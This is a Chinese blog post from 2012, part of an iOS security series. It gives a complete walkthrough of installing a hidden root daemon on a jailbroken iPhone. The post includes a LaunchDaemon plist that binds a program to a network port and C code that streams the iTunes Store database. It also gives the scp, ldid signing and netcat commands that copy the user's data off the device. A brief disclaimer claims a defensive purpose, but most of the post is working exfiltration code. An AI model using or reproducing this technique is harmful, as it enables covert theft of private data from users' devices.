IOS安全攻防(二)

后台daemon非法窃取用户iTunesstore信息

 

 

本人郑重声明:并不鼓励窃取用户隐私等行为,一切hack学习都只是为了研究如何防御。OK,进入正题。

 

开机自启动

 

iOS安全攻防(一):Hack必备的命令与工具中,介绍了如何编译自己的C程序并手动启动。今天介绍如何使程序变为开机自启动。

 

1.首先打开Xcode创建一个plist属性文件,如下图所示:

 


 

 

其中要注意一下通信服务名,我定为55。用编辑器打开,即为:

 

  1. <?xml version="1.0" encoding="UTF-8"?>  
  2. <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">  
  3. <plist version="1.0">  
  4. <dict>  
  5.     <key>Program</key>  
  6.     <string>/usr/bin/ncdemo</string>  
  7.     <key>StandardErrorPath</key>  
  8.     <string>/dev/null</string>  
  9.     <key>SessionCreate</key>  
  10.     <true/>  
  11.     <key>ProgramArguments</key>  
  12.     <array>  
  13.         <string>/usr/bin/ncdemo</string>  
  14.     </array>  
  15.     <key>inetdCompatibility</key>  
  16.     <dict>  
  17.         <key>Wait</key>  
  18.         <false/>  
  19.     </dict>  
  20.     <key>Sockets</key>  
  21.     <dict>  
  22.         <key>Listeners</key>  
  23.         <dict>  
  24.             <key>SockServiceName</key>  
  25.             <string>55</string>  
  26.         </dict>  
  27.     </dict>  
  28. </dict>  
  29. </plist>  

 

最后,将plist文件 scp 至 root@192.168.1.114:/System/Library/LaunchDaemons/ 下 .

 

 

 

编写读取iTunesstore数据库程序

 

读取itunesstored2.sqlitedb信息,并输出到stdout中,便于我们读取。

 

  1. #include <stdio.h>  
  2. #include <fcntl.h>  
  3. #include <stdlib.h>  
  4.   
  5. #define FILE "/var/mobile/Library/com.apple.itunesstored/itunesstored2.sqlitedb"  
  6.   
  7. int main(){  
  8.     int fd = open(FILE, O_RDONLY);  
  9.     char buf[128];  
  10.     int ret = 0;  
  11.       
  12.     if(fd < 0)  
  13.         return -1;  
  14.     while (( ret = read(fd, buf, sizeof(buf))) > 0){  
  15.         write( fileno(stdout), buf, ret);  
  16.     }  
  17.     close(fd);  
  18.     return 0;  
  19. }  



 

 

编译、拷贝、签名

 

1.编译方法上篇文章已经介绍清楚,这里不再重复,直接¥%¥#%¥……%# 生成运行在ARM的 ncdemo 

 

2.将ncdemo scp 到设备中,并登录

$ scp ncdemo root@192.168.1.114:ncdemo

$ ssh root@192.168.1.114

 

3.签名

#ldid -S ncdemo

#mv ncdemo /usr/bin

 

 

抓取 iTunesstore 数据信息

 

这时,我们只需要利用netcat,指定之前定义的服务名称,轻松在本地抓取设备 iTunesstore 信息.

$ nc 192.168.1.114 55 > itunesstored2.sqlitedb

 

 

分析 iTunesstore 数据信息

 

好吧,这里就介绍个最简单的应用,利用string命令查看:

$ strings itunesstored2.sqlitedb 

 

于是乎,我们就清晰的得到了iPhone /iPad 设备上都安装了哪些app :

 


 

 

当然,除了这些,你想干什么都可以……夜深了,先写到这里吧……

posted @ 2012-12-14 15:35  痴人指路  阅读(269)  评论(0编辑  收藏  举报